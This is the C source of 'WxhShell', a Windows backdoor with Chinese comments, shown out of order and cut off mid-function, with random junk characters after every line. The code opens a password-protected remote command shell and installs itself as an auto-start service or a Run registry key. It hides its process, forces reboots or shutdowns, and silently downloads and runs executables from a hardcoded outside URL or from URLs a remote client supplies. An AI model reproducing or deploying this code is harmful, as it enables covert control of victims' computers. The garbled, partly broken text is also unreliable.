    } 1&<o3)L:  
  // 关机 axq~56"7E  
  case 'd': { aAG']y  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); k GYsjhL\d  
    if(Boot(SHUTDOWN)) lnm@DWhf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nwC*w`4  
    else { lnLy"f"zV  
    closesocket(wsh); e4tC[6;  
    ExitThread(0); t%0c$c  
    } 'cQ,;y  
    break; +{C)^!zBK  
    } d 2^/  
  // 获取shell K_-m:P  
  case 's': { Gv}Q/v   
    CmdShell(wsh); H)EL0 Kv/  
    closesocket(wsh); zufsmY4P  
    ExitThread(0); _VTpfeL@n  
    break; 1i_%1Oip  
  } 3la`S$c  
  // 退出 K<`W>2"  
  case 'x': { )Q>Ao.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); iA[o;D#  
    CloseIt(wsh); @+Sr~:K  
    break; UUb0[oy  
    } |5X59! JL  
  // 离开 xXa4t4gR  
  case 'q': { T?6<1nU)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $#2<f 6  
    closesocket(wsh); FQ`1c[M@  
    WSACleanup(); "Z;({a$v  
    exit(1); -$I30.#  
    break; <r`;$K  
        } X(rXRP#  
  } <>Dw8?O  
  } >5"e<mwD7d  
f?ibyoXL  
  // 提示信息 8oXp8CC  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Uxik&M  
} ( ^@i(XQ  
  } '}B"071)<  
1s(]@gt  
  return; !.q 9:|oc  
} R[S1<m;  
yXv@yn  
// shell模块句柄 h z{--  
int CmdShell(SOCKET sock) EltCtfm`  
{ ,d&3IhYhD  
STARTUPINFO si; S<*IoZ?T  
ZeroMemory(&si,sizeof(si)); ,Z _@]D@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3S2Alx!6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (Z[c7  
PROCESS_INFORMATION ProcessInfo; ZH8w^}  
char cmdline[]="cmd"; (_CvN=A  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^FBu|e AkE  
  return 0; Kg2Du'WQ^  
} c00rq ~<K  
vCSC:  
// 自身启动模式 ,|>>z#Rr(n  
int StartFromService(void) JtxVF !v  
{ EzjK{v">  
typedef struct '@h  
{ jw {B8<@s  
  DWORD ExitStatus; ->.9[|lIg  
  DWORD PebBaseAddress; q(^iT~}  
  DWORD AffinityMask; _KxR~k^  
  DWORD BasePriority; I"x|U[*B  
  ULONG UniqueProcessId; /j4G}  
  ULONG InheritedFromUniqueProcessId; Mx`';z8~  
}   PROCESS_BASIC_INFORMATION; aX6}:"R2C  
6sQ;Z|!Pz  
PROCNTQSIP NtQueryInformationProcess; >~Tn%u<  
i8-Y,&>V  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; G/ ~gF7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; % XZ&(  
/IJy'@B  
  HANDLE             hProcess; %6 GM[1__  
  PROCESS_BASIC_INFORMATION pbi; &z:bZH]DH  
?eX/vqk  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); yt="kZ  
  if(NULL == hInst ) return 0; W} H~ka  
=BE!  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2;s[m3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); qGEp 6b H  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); a%si:_  
ty rP[y  
  if (!NtQueryInformationProcess) return 0; -WF((s;<#  
/V/NL#(R  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |3!)  
  if(!hProcess) return 0; ha=2isq  
2ww H3}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1Q? RD%lkf  
eA-oqolY  
  CloseHandle(hProcess); X#JUorGp  
$,U/,XA {E  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,*d8T7T  
if(hProcess==NULL) return 0; x4L3Z__  
q{f\_2[  
HMODULE hMod; RJerx:]  
char procName[255]; hCr,6ncC  
unsigned long cbNeeded; /_{ZWLi(  
\gPMYMd  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); OW\vbWX  
87+fd_G  
  CloseHandle(hProcess); =mZYBm,IQ  
Y:,C_^$w;  
if(strstr(procName,"services")) return 1; // 以服务启动 #Pf<2S  
<4vCx  
  return 0; // 注册表启动 jK*d  
} ~S;-sxoO0l  
Q>Z~={"  
// 主模块 g H'hA'  
int StartWxhshell(LPSTR lpCmdLine) jI*@&3  
{ wS#Uw_[  
  SOCKET wsl; 2sk7E'2(  
BOOL val=TRUE; ``:[Jr &  
  int port=0; NQ 6oyg@&  
  struct sockaddr_in door; 1v`|mU}i,  
E7? n'!=  
  if(wscfg.ws_autoins) Install(); \ f+;X  
'r%(,=L  
port=atoi(lpCmdLine); -k8sR1(  
GF% /q:9  
if(port<=0) port=wscfg.ws_port; o^UOkxs.  
sRT H_]c  
  WSADATA data; ppvlU H5;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !8[A;+o3P  
q@[F|EF=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *9kg \#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ZSe30Rl\  
  door.sin_family = AF_INET; X5 or5v  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); h`N2M,  
  door.sin_port = htons(port); xi "3NF%=  
z|%Pi J ,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { X5[t6q!  
closesocket(wsl); dEKu5GI  
return 1; ?yq=c  
} &DGz/o  
x} c  
  if(listen(wsl,2) == INVALID_SOCKET) { .-tR <{ g  
closesocket(wsl); g1[BrT,  
return 1; -#T%*  
} d!R+-Fp  
  Wxhshell(wsl); ZZo<0kDk  
  WSACleanup(); #.HnO_sK_  
Il&7n_ H  
return 0; dG5jhkPX  
SF-"3M  
} nTr]NBR  
M3@qhEf?vk  
// 以NT服务方式启动 s<!G2~T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Tf]ou5|  
{ a7ZufB/  
DWORD   status = 0; sZ&|omN  
  DWORD   specificError = 0xfffffff; ly*v|(S&  
H(76sE  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]zJO)(d$>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7UW\|r  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ij-'M{f  
  serviceStatus.dwWin32ExitCode     = 0; } (-9d  
  serviceStatus.dwServiceSpecificExitCode = 0; CV"}(1T  
  serviceStatus.dwCheckPoint       = 0; Q`AlK"G,  
  serviceStatus.dwWaitHint       = 0; !P EKMDh  
FauASu,A  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); s a o&  
  if (hServiceStatusHandle==0) return; h>GbJ/^  
:AztHf?X  
status = GetLastError(); ~<VxtcEBz  
  if (status!=NO_ERROR) i]k)wr(  
{ /}U)|6- B  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; H6 x  
    serviceStatus.dwCheckPoint       = 0; T&pCLvkz  
    serviceStatus.dwWaitHint       = 0; aXVldt'  
    serviceStatus.dwWin32ExitCode     = status; WcKDerc  
    serviceStatus.dwServiceSpecificExitCode = specificError; qX-5/;n  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ah7"qv'L\  
    return; )?#K0o[<  
  } @hg[v`~  
N^[ F+y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; > VIFQ\  
  serviceStatus.dwCheckPoint       = 0; 2ak]&ll+h  
  serviceStatus.dwWaitHint       = 0; k $^/$N  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); TU~y;:OJ  
} mp$IhJ6#  
.p e3L7g  
// 处理NT服务事件,比如:启动、停止 Q34u>VkdQI  
VOID WINAPI NTServiceHandler(DWORD fdwControl) gF)-Ci  
{ `f~bnL  
switch(fdwControl) j`.&4.7+  
{ # f-hI  
case SERVICE_CONTROL_STOP: G2I%^.s  
  serviceStatus.dwWin32ExitCode = 0; 3R%JmLM+R9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; w(ZZTVW-  
  serviceStatus.dwCheckPoint   = 0; ~v2(sRJ  
  serviceStatus.dwWaitHint     = 0; ' abEY  
  { }?mSMqnB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mq4Zy3H   
  } "M iJM+,  
  return; b; C}=gg  
case SERVICE_CONTROL_PAUSE: 4lX_2QT]E  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; unn2I|XH  
  break; p!:oT1U  
case SERVICE_CONTROL_CONTINUE: :~8@fEKb{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  ]aF;  
  break; >@ 8'C"F  
case SERVICE_CONTROL_INTERROGATE: G^dp9A  
  break; Ij4q &i"  
}; Posz|u<x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J  Y8Rk=  
} -d4 v:Jab  
]FVJQS2h  
// 标准应用程序主函数 RA<ky*^dr  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (nB[aM  
{ tb~E.Lm\  
v4|TQ8!wR  
// 获取操作系统版本 $nmt&lm  
OsIsNt=GetOsVer(); @uRJl$3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); d5Ae67  
Gy):hGgN  
  // 从命令行安装 @,sjM]  
  if(strpbrk(lpCmdLine,"iI")) Install(); aB;f*x  
GBBr[}y-  
  // 下载执行文件 LhAW|];  
if(wscfg.ws_downexe) { 3h.,7,T  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) eJ45:]_%I@  
  WinExec(wscfg.ws_filenam,SW_HIDE); y'^U4# (  
} DQW)^j h  
L{jx'[C  
if(!OsIsNt) { wMCg`rk  
// 如果时win9x,隐藏进程并且设置为注册表启动 &\6},JN  
HideProc(); aeN #<M&$<  
StartWxhshell(lpCmdLine); 9Xg7=(#  
} FvVC 2Z  
else tTTHQ7o*BD  
  if(StartFromService()) |X>'W"Mn  
  // 以服务方式启动 dYD;Z<l  
  StartServiceCtrlDispatcher(DispatchTable); Ve"(}z  
else #|je m   
  // 普通方式启动 $6UU58>n  
  StartWxhshell(lpCmdLine); ; ,sNRES3  
[5IbR9_  
return 0; Co(N8>1  
} Yn [ F:Z  
{c3FJ5:  
*Lz'<=DLoW  
8 f~x\.  
=========================================== l+2NA4s  
P]^OSPRg  
V0>[bzI  
D['J4B  
)s:kQ~+  
^ICSh8C  
" h&L-G j  
)_C>hWvo_  
#include <stdio.h> 8k:^( kByF  
#include <string.h> !$1qnsz  
#include <windows.h> <h9nt4F  
#include <winsock2.h> ba G_7>Q9H  
#include <winsvc.h> .up[wt gN  
#include <urlmon.h> I>nYI|o1  
Ek `bPQ5  
#pragma comment (lib, "Ws2_32.lib")  .GJbrz  
#pragma comment (lib, "urlmon.lib") ly34aD/p~,  
-7w}+iS  
#define MAX_USER   100 // 最大客户端连接数 bl>W i@GL  
#define BUF_SOCK   200 // sock buffer TE o  
#define KEY_BUFF   255 // 输入 buffer ]s5e[iS  
9[VYd '  
#define REBOOT     0   // 重启 ;0m J4G  
#define SHUTDOWN   1   // 关机 NX%1L! #  
6|q"lS*$S  
#define DEF_PORT   5000 // 监听端口 q j21#q .  
Peph..8Z  
#define REG_LEN     16   // 注册表键长度 y>t:flD*  
#define SVC_LEN     80   // NT服务名长度 `T+>E0H(f  
;rT/gwg!  
// 从dll定义API ]8}2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); tx[;& ;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _I;hM  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \,/ozfJ7dT  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); rG~W=!bj  
B=]L%~xL$  
// wxhshell配置信息 9c}C<s`M  
struct WSCFG { E<-W & a}  
  int ws_port;         // 监听端口 zP0<4E$M`  
  char ws_passstr[REG_LEN]; // 口令 4$vUD1('  
  int ws_autoins;       // 安装标记, 1=yes 0=no v7@"9Uw}  
  char ws_regname[REG_LEN]; // 注册表键名 a"xRc  
  char ws_svcname[REG_LEN]; // 服务名 3,G|oR{D  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 yw+]S  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7Z:HwZ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .{ILeG  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ->51t  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1WqCezI  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -a_qZ7  
}*9F`=%F  
}; mIG>`7`7N  
r]xN&Ne5Q  
// default Wxhshell configuration V+1c<LwT  
struct WSCFG wscfg={DEF_PORT, r0k :RJP  
    "xuhuanlingzhe", x1wD`r  
    1, H(n fHp.3  
    "Wxhshell", WLU_t65  
    "Wxhshell", *^]  
            "WxhShell Service", ~2hzyEh  
    "Wrsky Windows CmdShell Service", Q`J U[nY  
    "Please Input Your Password: ", @ ^F{  
  1, kb~ s, @p  
  "http://www.wrsky.com/wxhshell.exe", @qcUxu4  
  "Wxhshell.exe" UK^w;w2F  
    }; 1S(oi  
.yUD\ZGJ u  
// 消息定义模块 J_&cI%.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7ZAxhFC  
char *msg_ws_prompt="\n\r? for help\n\r#>"; YG*<jKcX  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >#r0k|3J^J  
char *msg_ws_ext="\n\rExit."; {-7ovH?  
char *msg_ws_end="\n\rQuit."; `R (N3  
char *msg_ws_boot="\n\rReboot..."; VWdTnu  
char *msg_ws_poff="\n\rShutdown..."; Tg@G-6u0c  
char *msg_ws_down="\n\rSave to "; .Gr"| uII  
3nhQ^zqf  
char *msg_ws_err="\n\rErr!"; 9({ 9r[U  
char *msg_ws_ok="\n\rOK!"; ;6 d-+(@  
)N^fSenFBn  
char ExeFile[MAX_PATH]; c{D<+XM  
int nUser = 0; ]S?G]/k}  
HANDLE handles[MAX_USER]; 2.);OFk+  
int OsIsNt; 7?k3jDK  
W=S^t_F  
SERVICE_STATUS       serviceStatus; ^o C>,%7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *dB3Gu{ +  
9b-4BON{P  
// 函数声明 %<Qv?`B  
int Install(void); @fo(#i&  
int Uninstall(void); wb#[&2i  
int DownloadFile(char *sURL, SOCKET wsh); tD}{/`{_t  
int Boot(int flag); f9_Pn'"I  
void HideProc(void); !T)_(}|6}  
int GetOsVer(void); A;ZluQ  
int Wxhshell(SOCKET wsl); K( MZ!>{  
void TalkWithClient(void *cs); $M-"az]  
int CmdShell(SOCKET sock); rFC9y o  
int StartFromService(void); 23=wz%tF  
int StartWxhshell(LPSTR lpCmdLine); \[]BB5)8  
E<B/5g!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); m#Z9wf] F  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (mi=I3A(  
lv.h?"Ml  
// 数据结构和表定义 B[w.8e5  
SERVICE_TABLE_ENTRY DispatchTable[] = h }&dvd  
{ WQw11uMt@q  
{wscfg.ws_svcname, NTServiceMain}, 3\ )bg R:  
{NULL, NULL} %|/\Qu  
}; ""V\hHdp  
~Odclrs  
// 自我安装 &BKnJ {,H  
int Install(void) U[yA`7Zs}  
{ ~QE?GL   
  char svExeFile[MAX_PATH]; c2GTN"  
  HKEY key; k?3mFWc  
  strcpy(svExeFile,ExeFile); qixnaiZ  
_ !"[Zr  
// 如果是win9x系统,修改注册表设为自启动 ]B&jMj~y&  
if(!OsIsNt) { A #pH$s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fE|"g'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rWM5&M  
  RegCloseKey(key); *6_>/!ywI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {RsdI=%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rf^IJY[  
  RegCloseKey(key); 's"aPqF?  
  return 0; #cD$ DA  
    } ) cOBP}j+  
  } ?g K|R  
} Ttb?x<)+8  
else { -DZ5nx  
j~Ci*'*L  
// 如果是NT以上系统,安装为系统服务 DvI^3iG8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); n*AN/LBp  
if (schSCManager!=0) N-p||u  
{ 6I]{cm   
  SC_HANDLE schService = CreateService }ew )QHd  
  ( @O6 2} F  
  schSCManager, _!vuDv%  
  wscfg.ws_svcname, 9j;!4AJ1t  
  wscfg.ws_svcdisp, ?v+el,  
  SERVICE_ALL_ACCESS, ^#h ;bX#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Yv{$XI7  
  SERVICE_AUTO_START, c; 1 f$$>b  
  SERVICE_ERROR_NORMAL, 'vZWk eo  
  svExeFile, |F =.NY  
  NULL, 0eA |Uq~  
  NULL, Fv^>^txh  
  NULL, qssK0!-  
  NULL, ^|h.B$_F,  
  NULL n;.);  
  ); 4Dd]:2|D  
  if (schService!=0) /GNm>NSK  
  { O+DYh=m*p  
  CloseServiceHandle(schService); T!&VT;   
  CloseServiceHandle(schSCManager); PC,I"l  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1NN#-U  
  strcat(svExeFile,wscfg.ws_svcname); &6\E'bBt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { y?*Y=,"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); '2p,0Bk9i  
  RegCloseKey(key); *'@T+$3s  
  return 0; ? a*yK8S  
    } N40DL_-  
  } 9~r8$,e  
  CloseServiceHandle(schSCManager); ``h* A  
} \gir  
} pe\]}&  
Wjd_|Kui  
return 1; {|q(4(f"Iu  
} l n09_Lr  
%:-2P  
// 自我卸载 g`=Z%{z%  
int Uninstall(void) M"OCwBT U  
{ ~NK|q5(I  
  HKEY key; 8(:O5#  
z_$F)*PL  
if(!OsIsNt) { .k5&C/jv  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f Lns^  
  RegDeleteValue(key,wscfg.ws_regname); UtB~joaR  
  RegCloseKey(key); +4]f6Zz({  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ir;az{T#U  
  RegDeleteValue(key,wscfg.ws_regname); @ w,O1Xwj  
  RegCloseKey(key); &X}i%etp^2  
  return 0; N/B-u)?\:  
  } O 0P4uq  
} baR*4{]  
} V9D>Xh!0H  
else { ,V+,3TT  
5q}7#{A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); RDu{U(!  
if (schSCManager!=0) ~N+H7T.L  
{ 6l(HD([_p  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0ol*!@?  
  if (schService!=0) _/}/1/y$Y  
  { Bh q]h  
  if(DeleteService(schService)!=0) { eC$ Jdf  
  CloseServiceHandle(schService); b;G#MjQp'  
  CloseServiceHandle(schSCManager); 6oR5q 4  
  return 0; p<(b^{EX  
  } JjH141 n%D  
  CloseServiceHandle(schService); !ac,qj7spa  
  } Vfr.Yoy  
  CloseServiceHandle(schSCManager); ]RI+:f  
} T^nOv2@,  
} /Nd`eUn  
JHsxaX;c  
return 1; zW; sr.  
} pJ@D}2u(  
'!XVz$C  
// 从指定url下载文件 oMb@)7  
int DownloadFile(char *sURL, SOCKET wsh) YGCBDH%6  
{ rn-CQ2{?  
  HRESULT hr; 5oY^; )\/  
char seps[]= "/"; K!|J/W  
char *token; yRldPk_  
char *file; _VLA2#V>   
char myURL[MAX_PATH]; !='L`.  
char myFILE[MAX_PATH]; ^" UZ.@sq'  
k4~2hD<|  
strcpy(myURL,sURL); u_%L~1+'  
  token=strtok(myURL,seps); G@6F<L~$1  
  while(token!=NULL) :>m67Zq  
  { +nQp_a1{9%  
    file=token; n4Q ^   
  token=strtok(NULL,seps); ^[hx`Rh`t  
  } 03dmHg.E!E  
&^K,"a{  
GetCurrentDirectory(MAX_PATH,myFILE); _h P7hhR  
strcat(myFILE, "\\"); 7^]KQ2fF 8  
strcat(myFILE, file); & ]1gx#  
  send(wsh,myFILE,strlen(myFILE),0); \2y [Hy?  
send(wsh,"...",3,0); P^m&oH5]EG  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @A8@j%CK1  
  if(hr==S_OK) j4]y(AA  
return 0; %1kIaYZ  
else <2fgao&-n  
return 1; 7NQEnAl  
LZ1)zoJ  
} /n8\^4{fP{  
C\gKJW^]y@  
// 系统电源模块 ;^|:*  
int Boot(int flag) /zIUYY  
{ OCbwV7q:  
  HANDLE hToken; }6 Mo C0  
  TOKEN_PRIVILEGES tkp; wp>L}!  
\~I>@SG2W+  
  if(OsIsNt) { zIbrw9G  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6[& x7"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =]W[{@P  
    tkp.PrivilegeCount = 1; f2Z(hYH~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9%^O-8!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); AkVgFQg" n  
if(flag==REBOOT) { _'Hw` 0}s  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .CBb%onx  
  return 0; s7 3'h  
} em?Q4t  
else { L}pj+xB  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `E8D5'tt  
  return 0; kuW^_BROJ  
} IOOK[g.?h  
  } T8 >aU  
  else { rE9Nt9}  
if(flag==REBOOT) { S0!w]Ku  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \JIyJ8FleC  
  return 0; U'0e<IcY  
} ]q3.^F  
else { ^W ,~   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @ 3,:G$,  
  return 0; ugS  
} @k||gQqIB  
} -s9()K(vZG  
#,Cz+ k*4  
return 1; sTw+.m{F  
} ^_\%?K_u  
U*7x81v?j  
// win9x进程隐藏模块 |?4NlB6  
void HideProc(void) "WzD+<oL  
{ -nDY3$U/  
b>L?0p$ej  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); r&Qq,koE  
  if ( hKernel != NULL ) V3q [ $~9  
  { 5odXT *n  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); w7b\?]}@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); WlmkM?@  
    FreeLibrary(hKernel); my%MXTm2  
  } p'\zL:3  
|Ju d*z  
return; lYhC2f m_  
} ZhY03>X  
|H>;a@2d  
// 获取操作系统版本 ^JAp#?N^9  
int GetOsVer(void) ayQ2#9X}  
{ 'C) v?!19  
  OSVERSIONINFO winfo; *g[MGyF "  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %{&,5|8  
  GetVersionEx(&winfo); 59BB-R,V  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9E}JtLgT  
  return 1; t {H{xd  
  else a6\`r^@  
  return 0; eD!mR3Ai@D  
} *1,4#8tB  
IO<Ds#(  
// 客户端句柄模块 heQyz|o  
int Wxhshell(SOCKET wsl) PP8627uP  
{ %F13*hOu  
  SOCKET wsh; 8T88  
  struct sockaddr_in client; }mpFo 2  
  DWORD myID; BRXDE7vw  
d:=Z<Y?d/  
  while(nUser<MAX_USER) 1H \  
{ aATNeAR  
  int nSize=sizeof(client); C!)ZRuRv  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); YFP<^y=  
  if(wsh==INVALID_SOCKET) return 1; }!V-FAL  
UHR%0ae  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); kO4'|<  
if(handles[nUser]==0) Y-lTPR<Eq  
  closesocket(wsh); G%viWWTY  
else O~m Q\GlW  
  nUser++; "v/Yw'! )  
  } jcHyRR1R  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); lcK4 Uq\q  
;.=]Ar}  
  return 0; n 0g8B  
} (C0Wty  
I>{o]^xw-D  
// 关闭 socket b>Ea_3T/  
void CloseIt(SOCKET wsh) OAf}\  
{ ~I;|ipK4m  
closesocket(wsh); |G_,1$  
nUser--; l2ie\4dK@  
ExitThread(0); k~)@D| ?  
} *Sps^Wl  
h s_x @6  
// 客户端请求句柄 zI4d|P  
void TalkWithClient(void *cs) 9 !$&1|,*  
{ #_WkV  
bjAI7B8As  
  SOCKET wsh=(SOCKET)cs; 3!{Tw6A8(  
  char pwd[SVC_LEN]; t1wzSG  
  char cmd[KEY_BUFF]; \,'4eV  
char chr[1]; w)&?9?~  
int i,j; rE]Nr ;Ys  
}42Hhu7j  
  while (nUser < MAX_USER) { E;wT4 T=  
ZsSW{ffZ77  
if(wscfg.ws_passstr) { i|m8#*Hd  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2#/23(Wc  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #x`K4f)  
  //ZeroMemory(pwd,KEY_BUFF); &4ndi=.#rg  
      i=0; b[<L l%K  
  while(i<SVC_LEN) { /B)2L]6p  
Mfnfp{.)  
  // 设置超时 ?TJ4L/"(k6  
  fd_set FdRead; sDAP'&  
  struct timeval TimeOut; E1SWZ&';  
  FD_ZERO(&FdRead); uh`5:V  
  FD_SET(wsh,&FdRead); Swh\^/B8  
  TimeOut.tv_sec=8; \Foo:jON  
  TimeOut.tv_usec=0; m^ Epw4eg  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %7QSBL  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); m_.9 PZ  
uIBN !\j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); En)Ptz#0  
  pwd=chr[0]; 0!oqP1  
  if(chr[0]==0xd || chr[0]==0xa) { [w!T  
  pwd=0; iiF`2  
  break; +*,!q7Gt  
  } e N v\ZR1  
  i++; O p1TsRm5L  
    } Uz~B`  
Kwi+}B!  
  // 如果是非法用户,关闭 socket <@[;IX`YN  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (V1;`sI8  
} w 62m}5eA  
[XttT  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (H"{r  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'n=bQ"bQu  
yEk|(6+^  
while(1) { }ice*3'3  
vKWi?}1  
  ZeroMemory(cmd,KEY_BUFF); K1o>>388G  
r+h%a~A#>  
      // 自动支持客户端 telnet标准   Xu E' %;:  
  j=0; g9CedD%40  
  while(j<KEY_BUFF) {  ? 8/r=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zliMG=6  
  cmd[j]=chr[0]; )Ly ~\*  
  if(chr[0]==0xa || chr[0]==0xd) { u80C>sQ  
  cmd[j]=0; qM+Ai*q  
  break; w]nt_xj  
  } #%F-Xsk  
  j++; 0U:X[2|)  
    } JdLPIfI^  
9HEqB0|ZRu  
  // 下载文件 <$K=3&:s8q  
  if(strstr(cmd,"http://")) { !3iZa*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); IaQm)"Z  
  if(DownloadFile(cmd,wsh)) ({@" {  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5D2mZ/  
  else 5gV,^[E-z  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DBG0)=SHy  
  } S=lCzL;j"  
  else { mj'N)6ga  
0|J9Btbp  
